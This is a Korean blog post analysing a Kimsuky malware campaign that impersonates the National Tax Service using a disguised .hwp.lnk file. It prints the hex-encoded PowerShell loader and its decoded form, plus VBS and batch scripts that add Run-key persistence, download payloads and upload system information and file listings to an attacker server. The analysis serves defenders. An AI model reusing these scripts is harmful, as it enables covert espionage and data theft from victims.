꿈을꾸는 파랑새

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크, 산업계, 원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요 인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima), 블랙반시(Black Banshee) 등으로 불리고 있습니다. 해당 악성코드는 일단 22 귀속 부가가치세 면세사업자 사업장 현황신고 이라는 제목으로 된 RAR 압축 파일로 되어 있으며 해당 파일을 열어 보면 기본적으로 hwp 파일로 3개의 파일이 있는 것을 확인을 할 수가 있으며 해당 악성코드의 해쉬값은 다음과 같습니다.
파일명:22귀속_부가가치세_면세사업자_사업장_현황신고..rar
사이즈:1.24 MB
CRC32:f4ccb6a6
MD5:2b2310574eb43608eec2540782e08b35
SHA-1:fbe8954a7495380b1f905eb729589f8f17b31ae0
SHA-256:c0ac380c3dcf94eef84e40ef964a66223be157b7fb36dacbfdfc174e491d6291
SHA-512:301f96fc23cfff1c3b5b9b56b68debb7f12a2576f287e08fbd79251836cbfbfd76c3bca90c3d690d39a59458d7c267fbe31752571fed9c051ad23e7e55e61018
입니다.

압축 파일에 포함이 된 HWP 악성코드
압축 파일에 포함이 된 HWP 악성코드

여기서 비정기 세무조사 통지서.hwp.lnk 이라는 파일이 보일 것입니다. 해당 파일은 기본 1기가로 돼 있는 파일입니다. 보시면 링크 파일이 1기가인 것은 수상할 것입니다.
파일명: 비정기 세무조사 통지서.hwp.lnk
사이즈:1.06 GB
CRC32:f5c62ba0
MD5:58d726099fdd9fdb8c34e96e13473aa4
SHA-1:17718cc9534c10fa30f3ec3d16407e3ae34e4728
SHA-256:1b415bcc45cfb06c1a649b0a379daae375d0cfff06aaf6d528b5d6f194dfe5c8
SHA-512:dbfcdadead0b9b872318711c0527aa84f64c2df37b93dab6033a2a9e5d5b59af7ba3fe6442fdd847ca0b7f3901bc195c6e5754746b9ccb73c157f0dc8e5fb526

국세청 사칭 악성코드 실행
국세청 사칭 악성코드 실행

이고 먼저 비정기 세무조사 통지서.hwp.lnk를 실행을 하면 먼저 PowerShell 를 이용을 해서 다음을 실행합니다.

powershell -windowstyle hidden $wonders=\"`$temple=
'66756E6374696F6E207953484E476F73626F6966445A512824506377774C796C52444A
7052566C526676297B24454D78684E647561495A637953516D3D38343437353B2
4446C5A6871464A6B763D244E756C6C3B666F726561636828244D4762594A4749
637A20696E2024506377774C796C52444A7052566C(5)26676297B24446C5A6
871464A6B762B3D5B636861725D28244D4762594A4749637A2D24454D78684E6
47561495A637953516D297D3B72657475726E2024446C5A6871464A6B767D3B
2448634442756375667954456E203D204765742D4C6F636174696F6E3B24486
F655776675858484667787561554C203D20(4)765742D4368696C64497465
6D202D50617468202448634442756375667954456E202D52656375727365
202A2E6C6E6B207C2077686572652D6F626A656374207B245F2E6C656E6
77468202D657120307834343533413639387D207C2053656C6563742D4
F626A656374202D457870616E6450726F70657274792046756C6C4E61
6D653B69662824486F655776675858484667787561554C2E6C656E677
468202D6571203029207B2448634442756375667954456E203D202465
6E763A54656D703B24486F655776675858484667787561554C203D2047
65742D4368696C644974656D202D506174682024486344427563756
67954456E202D52656375727365202A2E6C6E6B207C2077686572652D6F62
6A656374207B245F2E6C656E677468202D657120307834343533413639387D
207C2053656C6563742D4F626A656374202D457870616E6450726F70657
274792046756C6C4E616D653B7D3B2448634442756375667954456E203D20537
06C69742D506174682024486F655776675858484667787561554C3B245A6E6D75
A6D785655203D204E65772D4F626A6563742053797374656D2E
494F2E46696C6553747265616D2824486F655776675858484667787561554
C2C205B53797374656D2E494F2E46696C654D6F64655D3A3A4F70656E2C205B
53797374656D2E494F2E46696C654163636573735D3A3A52656164293B245A6
E6D756A6D7856552E5365656B28302C205B5(3)797374656D2E494F2E5365656B
4F726967696E5D3A3A426567696E293B246F736(9)4A555664525673484D78552
03D204E65772D4F626A65637420627974655B5D203(0)7830303031393443423B
245A6E6D756A6D7856552E5265616428246F73694A(5)55664525673484D78552
C20302C2030783030303139344342293B245A6E6D756A(6)D7856552E436C6F73
6528293B52656D6F76652D4974656D202(D)506174682024486F6557766758584
84667787561554C2(0)2D466F7263653B2452636D5563744F51556F203D2024
48634442756375667954456E202B20275C27202B205B72656765785D3A3A756
E65736361706528275C75424534345C75433831355C75414533305C75303032
305C75433133385C75424233345C75433837305C75433041435C75303032305
C75443142355C75433943305C75433131435C75303032455C75303036385C75
303037375C753030373027293B7363202452636D5563744F51556F20285B627
974655B5(D)5D28246F73694A555664525673484D7855207C2073656C656374
202D536B69702030783030303032343530202D4669727374203078303030313
63630302929202D456E636F646(9)6E6720427974653B26202452636D5563744F
51556F3B24665A4566756C794C535(5)6A76673D24656E763A7075626C6963202
B20275C27202B202730353733342E7A6(9)70273B73632024665A4566756C794C
53556A766720285B627974655B5D5D28246(F)73694A555664525673484D78552
07C2073656C656374202D536(B)69702030783(0)303031384135302929202D45
6E636F64696E6720427974653B247A52746771474C6A(6)B5A203D206E65772D6
F626A656374202D636F6D207368656C6C2E617070(6)C69636174696F6E3B2463
444A7166674E476A4F6959203D20247A52746771474C6A6B5A2E4E616D65737
06163652824665A4566756C(7)94C53556A7667293B247A52746771474C6A6B5A
2E4E616D(6)573706163652824656E763A7075626C6963202B20275C27202B2
027646F63756D656E747327292E436F7(0)7948657265282463444A7166674E47
6A4F69592E6974656D7328292C203130343(4)29207C206F75742D6E756C6C3B7
2656D6F76652D6974656D202D706174682024665A4566756C794C53556A7667
202D666F7263653B244B596E6B4C59(6)C5A763D24656E763A7075626C69632
B275C646F63756D656E74735C73746172742(E)766273273B2620244B596E6B4C596C5A763B
';`$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2)
{`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin=
`$martin+[char]([convert]::toint16(`$Sorre,16));};
Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));
\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));

국세청 사칭 악성코드 한글 실행 화면
국세청 사칭 악성코드 한글 실행 화면

그리고 해당 명령어는 다음과 같이 동작을 합니다.

국세청 사칭 악성코드 한글 실행 화면
국세청 사칭 악성코드 한글 실행 화면

powershell -windowstyle hidden $wonders=\"`$temple='
$wonders라는 변수에 값을 할당 $temple=로 시작하는 문자열 변수를 선언하고 나서
$martin='';for(`$i=0;`$i -le `$temple.Length-2;`$i=`$i+2){`$Sorre=`$temple[`$i]+`$temple[`$i+1];`$martin= `$martin+[char]([convert]::toint16(`$Sorre,16));};Invoke-Command -ScriptBlock ([Scriptblock]::Create(`$martin));\";Invoke-Command -ScriptBlock ([Scriptblock]::Create($wonders));

CyberChef 을 이용한 악성코드 HEX 변환 결과
CyberChef 을 이용한 악성코드 HEX 변환 결과

를 실행을 하면
해당 코드 설명은 다음과 같습니다.
temple 변수의 값을 이용하여 문자열 $martin을 생성 $temple 변수 실행
$martin 변수는 두 자리씩 끊어진 문자열을 ASCII 문자로 변환하여 추가하고 있으며 이를 위해 $Sorre 변수가 정의되며, $Sorre 변수는 $temple 배열에서 두 문자를 선택하여 문자열로 조합한 결과를 저장 $Sorre 변수에서 [convert]::toint16 메서드를 사용하여 16진수 문자열을 10진수로 변환하고, [char]를 사용하여 ASCII 문자로 변환한 값을 $martin 변수에 추가
이후 Invoke-Command 함수가 두 번 호출 해당 함수는 지정된 스크립트 블록을 실행하는 데 사용 첫 번째 Invoke-Command 함수는 $martin 변수에 저장된 문자열을 스크립트 블록으로 변환하여 실행 두 번째 Invoke-Command 함수는 $wonders 변수에 저장된 스크립트 블록을 직접 실행합니다.
그리고 앞서 있는 HEX 값을 풀어야지 해당 악성코드가 어떻게 동작을 하는지 알 수 있기 때문에 먼저 
CyberChef를 이용을 해서 빵을 한번 구워줍니다.

그러면 결과는 다음과 같이 저장이 되는 것을 확인할 수가 있습니다.

function ySHNGo(s)boifDZQ($PcwwLylRDJpRVlRfv)
{$EMxhNduaIZcyS(Q)m=(8)4475;$DlZhqFJkv=$Null;
foreach($MGbYJGI(c)z in $PcwwLylRDJpRVlRfv)
{$DlZhqFJk(v)+=[char]($MGbYJGIcz-$EMxhNduaIZcySQm)};
return $DlZhqFJkv};$HcD(B)ucufyTEn = Get-Location;$HoeWvgXXHFgxuaUL = 
Get-ChildItem -Path $HcDBucufyTEn -Recurse *(.)lnk 
| where-(o)bject {$_.length -eq 0x4453A698} | 
Select-(O)bject -ExpandProperty FullName;if($HoeWvg(X)XHFgxuaUL.length -eq 0) 
{$HcDBucu(f)yTEn = $env:Temp;$HoeWvgXXHFg(x)uaUL =
Get-ChildItem -Path $HcDBucufyTEn -Recurse *(.)lnk | 
where-object {$_.length -eq 0x4453A698} | 
Select-Object -ExpandProper(t)y FullName;};$HcDBucufyTEn = 
Split-Path $HoeWvgXXHFgxuaU(L);$ZnmujmxVU = 
New-Object System.IO.FileStrea(m)($HoeWvgXXHFgxuaUL, [System.IO.FileMode]::
Open, [System.IO.FileAccess]::Read);$ZnmujmxVU.Seek(0, [System.IO.SeekOrigin]::
Begin);$osiJUVdRVsHMxU = New-Object byte[] 0x000194CB;$ZnmujmxVU(.)Read($osiJUVdRVsHMxU, 0,
0x000194CB);$ZnmujmxVU.Close();Remove(-)Item -Path $HoeWvgXXHFgxuaUL 
-Force;$RcmUctOQUo = $HcDBucufyTEn + '\' + [regex]::
unescape('\uBE44\uC815\uAE309(\)u0020\uC138(\)uBB34\uC870\uC0AC\u0020\uD1B5\uC9C0\uC11C\u002E\u0068\u0077\u0070');sc $RcmUctOQUo ([byte[]]($osiJUVdRVsHMxU | select -Skip 0x00002450 -First 0x00016600)) -Encoding Byte;& $RcmUctOQUo;$fZEfulyLSUjvg=$env:public + '\' + '05734(.)zip';sc $fZEfulyLSUjvg ([byte[]]($osiJUVdRVsHMxU | select -Skip 0x00018A50)) -Encoding Byte;$zRtgqGLjkZ = new-object (-)com shell.application;$cDJqfgNGjOiY = $zRtgqGLjkZ.Namespace($fZEfulyLSUjvg);$zRtgqGLjkZ(.)Namespace($env:public + '\' + 'documents').
CopyHere($cDJqfgNGjOiY(.)items(), 1044) | out-null;remove-item -path $fZEfulyLSUjvg 
-force;$KYnkLYlZv=$env:public+'\documents\start(.)vbs';& $KYnkLYlZv;

국세청 사칭 악성코드 실행시 생성 되는 파일
국세청 사칭 악성코드 실행시 생성 되는 파일

이며 해당 코드는 다음과 같이 동작을 합니다.
합니다. 즉 이 코드는 실행하면 해당 위치에서 크기가 0x4453A698인 lnk 파일을 실행 그 파일에 저장된 내용을 이용해 05734.zip 파일을 생성하고 해당 파일을 1044 폴더에 압축을 풀고서 start.vbs 스크립트를 실행하게 됩니다. 이 스크립트는 다시 다른 악성 코드를 합니다.즉 해당 비정기 세무조사 통지서.hwp.lnk를 실행을 하면 위의 코드처럼 실행되고 해당 비정기 세무조사 통지서.hwp.lnk은 삭제되면 비정기 세무조사 통지서.hwp 로 변경이 되고 악성코드 이 실행이 됩니다.
그러면 당사자는 국세청에서 온 것으로 사용자를 착각하게 되지만 여기서 C:\Users\Public\Documents 폴더에 다음과 같은 스크립트들을 생성합니다.
즉 스크립트가 실행되면 컴퓨터에서 .lnk 확장자를 가진 파일 중 길이가 0x4453A698인 파일을 검색 해당 파일은 이전에 실행되었던 악성코드임
검색된 파일은 Remove-Item 명령어를 통해 삭제 이후, 스크립트는 StartMenu.chm 파일을 생성하고, 해당 일을 실행 그리고 스크립트는 05734.zip 파일을 생성하고 난 뒤 파일은 이전에 해당 압축된 파일은 압축을 해제하여 C:\Users\Public\Documents\ 경로에 있는 파일에서 사용자 컴퓨터 정보를 훔쳐 갑니다.
마지막으로, 스크립트는 start.vbs 파일을 실행

악성코드 start.vbs
악성코드 start.vbs

start.vbs
fully.bat
cw1328.txt 입니다.
그리고 나서 해당 악성코든 start.vbs를 실행을 해서 fully.bat 파일을 실행하기 위해서 준비합니다.

Set PZCRnC(n)dxoGPwJd = CreateObject("WScript.Shell")
Hc(d)gXHrbh = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
PZCRnCn(d)xoGPwJd.Run HcdgXHrbh & "\fully(.)bat", 0
Set PZCRnC(n)dxoGPwJd = Nothing

즉 해당 악성코드 실행 내용은 다음과 같습니다.
CreateObject("WScript.Shell") : WScript.Shell 객체를 생성
HcdgXH(r)bh = Left(WScript.ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1) : 현재 스크립트 파일의 경로를 구함
WScript.ScriptFullName은 현재 스크립트 파일의 전체 경로를 반환하는 빌트인 변수
Left() 함수와 InstrRev() 함수를 사용하여 마지막 이전까지의 문자열을 추출
PZCRnCndxoG(P)wJd.Run HcdgXHrbh & "\fully.bat", 0: 추출한 경로와 fully.bat 파일명을 조합하여 실행
Run 메소드는 지정된 파일을 실행하는 데 사용
마지막 매개변수 0은 창을 숨겨 실행하도록 지시
Set PZCRnCndxoGPw(J)d = Nothing : WScript.Shell 객체를 해제하고 해당 코드는 메모리 누수를 방지하는 데 필요한 코드
그리고 나서 fully.bat을 실행합니다.
그리고 해당 fully.bat 부분에서는 다음과 같은 명령어가 있습니다.

fully.bat 내용
fully.bat 내용

@echo off

pushd "%~dp0"

if exist "no1.bat" (

	reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "%~dp0start.vbs" /f > nul
	
	call no1.bat > nul
	call no4.bat > nul

	del /f /q no1.bat > nul
)

if not exist "no1.bat" (
	if not exist "upok.txt"  (
		call no4.bat > nul
	)
)

if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)

:1

if exist "temprun.bat" (
del /f /q temprun.bat
)

download.vbs http://centhosting(.)net/list.php?q=%COMPUTERNAME%.txt %~dp0setup.cab > nul

expand setup.cab -F:* %~dp0 > nul
del /f /q setup.cab > nul
call temprun.bat > nul


timeout -t 57 /nobreak

if not exist "pakistan.txt" (goto 1)
if exist "pakistan.txt" (goto EXIT)

:EXIT
del /f /q "pakistan.tx

해당 코드는 Windows 배치 스크립트를 하기 위한 코드이며 다음과 같은 동작으로 진행합니다.
no1.bat 파일이 존재하면, 다음 작업을 수행합니다.
레지스트리 키 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 에 svchostno2 값을 추가
no1.bat 파일을 실행
no4.bat 파일을 실행
no1.bat 파일을 삭제
만약 no1.bat 파일이 존재하지 않으면, upok.txt 파일이 존재하지 않는 경우 no4.bat 파일을 실행
pakistan.txt 파일이 존재하지 않으면, 1 레이블로 이동
temprun.bat 파일이 존재하면 삭제

http://centhosting(.)net/list.php?q=%COMPUTERNAME%.txt에서 %COMPUTERNAME%.txt

파일을 다운로드
setup.cab 파일을 %~dp0 경로에 압축 해제
temprun.bat 파일을 
57초 동안 대기
pakistan.txt 파일이 존재하지 않으면, 1 레이블로 이동
pakistan.txt 파일이 존재하면, 파일을 삭제를 진행합니다.
그리고 download.vbs 내용은 다음과 같습니다.

download.vbs VBScript 코드 내용
download.vbs VBScript 코드 내용

On Error Resume Next
VrXwFHBe = WScript.arguments.item(0)
LWUuBfnKO = WScript.arguments.item(1)
Dim aYkmEoXWOXulz(x): Set aYkmEoXWOXulzx = createobject("MSXML2(.)ServerXMLHTTP")
aYkmEoXWOXulzx.setTimeou(t)s 0, 60000, 300000, 300000
Dim KIIaOZnni: Set KIIaOZn(n)i = createobject("Adodb(.)Stream")
aYkmEoX(W)OXulzx.Open "GET", V(r)XwFHBe, False
Err.clear
Err.Number = 3
IF Err.Number<>0 Then
	aYkmEoXWOXul(z)x.Send
	IF Err.Number <> 3 Then
		Set KIIaO(Z)nni = nothing
		Set aYkmEoXW(O)Xulzx = nothing
		WScript.Quit
	End If
End If
If aYkmEoXWOXu(l)zx.Status = 200 Then
	KIIaOZn(n)i.type = 1
	KIIaOZn(n)i.open
	KIIaOZn(n)i.write aYkmEoXWOXulzx.responseBody
	KIIaOZnn(i).savetofile LWUuBfnKO , 2
	KII(a)OZnni.close
End If
Set KIIaO(Z)nni = nothing
Set aYkmEoXW(O)Xulzx = nothing
WScript.Quit

즉 MSXML2.ServerXMLHTTP와 Adodb.Stream을 사용하여 URL에서 파일을 다운로드를 시도를 하면 다음과 같이 동작을 합니다.
첫 번째 줄은 에러 발생 시 실행을 계속하도록 설정
그리고 스크립트를 호출할 때 전달되는 두 개의 인자, 즉 다운로드할 파일의 URL과 저장될 경로를 VrX(w)FHBe와 LWU(u)BfnKO 변수에 할당
다음 줄에서는 MSXML2.ServerXMLHTTP 객체를 생성합니다. 이 객체를 사용하여 원격 서버에서 파일을 가져올 수 있음
setTimeouts 메서드를 사용하여 서버로부터 응답을 기다리는 시간제한을 설정
 Adodb.Stream 객체를 생성해서 객체를 사용하여 가져온 파일의 데이터를 저장
aYkmEoXWOX(u)lzx 객체의 Open 메서드를 호출하여 GET 요청을 보내고 다운로드할 파일의 URL을 매개변수로 전달 False를 세 번째 인자로 전달하여 비동기식 호출이 아닌 동기식 호출을 사용.
Err.clear를 호출하여 이전에 발생한 에러를 초기화 이후 Err.Number 값을 확인하여 에러가 발생했는지를 확인 

Err.Number가 0이 아니면 aYkmEoXWOXul(z)x.Send를 호출하여 GET 요청을 다시 보냅니다. 이전에 발생한 에러가 3이 아닌 다른 값이면 코드를 종료
aYkmEoXWOXul(z0x 객체의 Status 속성을 사용하여 HTTP 응답 코드를 확인 200은 "OK"를 나타내며, 다운로드가 성공했음을 의미
KIIaOZnni 객체를 사용하여 가져온 파일의 데이터를 저장합니다.

KIIaOZnni.type 속성을 1로 설정하여서 이진 데이터를 저장할 수 있도록 진행 open 메서드를 호출하여 스트림을 엽니다. write 메서드를 사용하여 aYkmEo(X)WOXulzx.responseBody의 데이터를 스트림에 씁니다. savetofile 메서드를 호출하여 스트림에 쓴 데이터를 LWUuBfn(K)O 경로에 저장 마지막으로 KIIaOZnni 객체를 닫습니다.
그리고 객체들을 정리하고 스크립트를 종료합니다. Set 문을 사용하여 객체를 null로 설정. 그리고 WScript.Quit을 호출하여 스크립트 실행을 중지합니다.
그리고 나서 upload.vbs를 통해서 지정된 서버에 파일을 전송하는 코드가 보일 것입니다.

업로드 되는 컴퓨터 및 개인정보
업로드 되는 컴퓨터 및 개인정보

Set cgUKwL(d)QlQGz = Nothing
Set yqQyPBHcH(g)n = nothing
zphOfW(m)l = Left(WScript(.)ScriptFullName, InstrRev(WScript.ScriptFullName, "\") - 1)
Set yxZix(E)NsrBsjY = CreateObject("Scripting.FileSystemObject")
Set ysaSZPoF(R)eBvVtMhG = yxZixENsrBsjY(.)CreateTextFile(zphOfWml & "\upok.txt", True)
ysaSZPoFReBvV(t)MhG.Close
WScript.Quit

WScript.arguments.item(0)는 업로드할 웹 서버의 URL을, WScript.arguments.item(1)는 업로드할 파일의 경로를, WScript.arguments.item(2)는 업로드할 파일의 이름
해당 코드에서는 FileSystemObject를 사용하여 업로드할 파일의 데이터를 읽어오고, POST 방식으로 서버에 전송합니다. 이때, Content-type 헤더와 Content-Length 헤더를 설정
서버로부터 응답을 받고, 업로드한 파일의 내용을 저장하는 upok.txt 파일을 생성을 진행합니다.
no4.bat 에서는 다음과 같은 코드들이 있고 해당 코드를 통해서 컴퓨터에서 있는 개인정보들을 훔치는 역할을 합니다.

@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0cuserdown.txt
dir C:\Users\%username%\documents\ /s > %~dp0cuserdocu.txt
dir C:\Users\%username%\desktop\ /s > %~dp0cuserdesk.txt
dir "C:\Program Files\" /s > %~dp0cprog.txt
nslookup myip.opendns(.)com resolver1.opendns.com > %~dp0ipinfo.txt
tasklist > %~dp0tsklt.txt
systeminfo > %~dp0systeminfo.txt

timeout -t 5 /nobreak

upload.vbs "http://centhosting(.)net/upload.php" cuserdown.txt  %COMPUTERNAME%_cuserdown.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cuserdocu.txt  %COMPUTERNAME%_cuserdocu.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cuserdesk.txt  %COMPUTERNAME%_cuserdesk.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" systeminfo.txt  %COMPUTERNAME%_systeminfo.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" ipinfo.txt  %COMPUTERNAME%_ipinfo.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" tsklt.txt  %COMPUTERNAME%_tsklt.txt >nul
upload.vbs "http://centhosting(.)net/upload.php" cprog.txt  %COMPUTERNAME%_cprog.txt >nul

해당 코드 내용은 다음과 같습니다.
현재 사용자의 다운로드, 문서 및 데스크톱 폴더와 프로그램 파일 폴더에서 파일 목록을 가져와 각각의 목록을 텍스트 파일로 저장
현재 컴퓨터의 시스템 정보(systeminfo)와 현재 IP 주소를 DNS 서버를 통해 확인한 정보를 각각의 텍스트 파일로 저장
현재 실행 중인 프로세스 목록(tasklist)을 텍스트 파일로 저장
이후 각각의 텍스트 파일을 인터넷을 통해 파일 호스팅 서버에 업로드
생성되는 텍스트 파일은 다음과 같습니다.
cuserdown.txt: 현재 사용자 계정의 다운로드 폴더와 그 하위 디렉터리에서 발견된 모든 파일과 폴더의 목록을 포함
cuserdocu.txt: 현재 사용자 계정의 문서 폴더와 그 하위 디렉토리 에서 발견된 모든 파일과 폴더의 목록을 포함
cuserdesk.txt: 현재 사용자 계정의 데스크톱 폴더와 그 하위 디렉토리 에서 발견된 모든 파일과 폴더의 목록을 포함.
cprog.txt: "C:\Program Files" 디렉토리 와 그 하위 디렉토리 에서 발견된 모든 파일과 폴더의 목록을 포함
ipinfo.txt: 현재 컴퓨터의 IP 주소 및 DNS 서버에 대한 정보를 포함
tsklt.txt: 현재 실행 중인 모든 프로세스의 목록을 포함
systeminfo.txt: 현재 컴퓨터에 대한 시스템 정보를 포함
즉 개인정보를 훔치려고 실행이 됩니다. 즉 그냥 컴퓨터 정보 다 털어가기 위해서 준비된 악성코드로 생각할 수가 있습니다.

악성코드에 포함이 된 파워셀 코드
악성코드에 포함이 된 파워셀 코드

악성 행위와 관련이 없는 더미 데이터(dummy data)를 이용을 해서 악성 코드가 감지 및 분석 시스템에서 탐지되지 않게 하려고 분석 방해하기 위함입니다. 일단 처음으로 한글과 컴퓨터에서 만든 HWP로 만든 악성코드를 분석을 해보았습니다. 마이크로소프트에서 워드, 엑셀, 파워 포인트 보다 더 피곤한 느낌이 들기도 합니다. 22귀속_부가가치세_면세사업자_사업장_현황신고 압축 파일은 2023-04-21 00:42:32 UTC으로 다음과 같이 탐지하고 있습니다.
Alibaba:Trojan:Script/Powecod.02ef5600
Arcabit:Heur.BZC.YAX.Boxter.562.62E9848D
Avast:Script:SNH-gen [Trj]
AVG:Script:SNH-gen [Trj]
Baidu:Archive.Bomb
BitDefender:Heur.BZC.YAX.Boxter.562.62E9848D
ClamAV:Lnk.Trojan.Qakbot-9977832-1
Emsisoft:Heur.BZC.YAX.Boxter.562.62E9848D (B)
eScan:THREAT_TYPE_ARCHBOMB
ESET-NOD32:PowerShell/Agent.AGJ
GData:Heur.BZC.YAX.Boxter.562.62E9848D
Kaspersky:HEUR:Trojan.WinLNK.Powecod.d
Lionic:Trojan.ZIP.Powecod.4!c
MAX:Malware (ai Score=83)
McAfee-GW-Edition:Artemis!Trojan
Sophos:Troj/LnkObf-L
Symantec:Trojan.Gen.NPE
Trellix (FireEye):Heur.BZC.YAX.Boxter.562.62E9848D
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Boxter.562.62E9848D
ZoneAlarm by Check Point:HEUR:Trojan.WinLNK.Powecod.d
입니다. 개인적인 생각이지만 국세청 같은 제목으로 낚는 것 보면 아마도 대기업, 중소기업 등 회사들을 노리는 것이 아닐까 생각을 합니다.

공유하기

facebook twitter kakaoTalk kakaostory naver band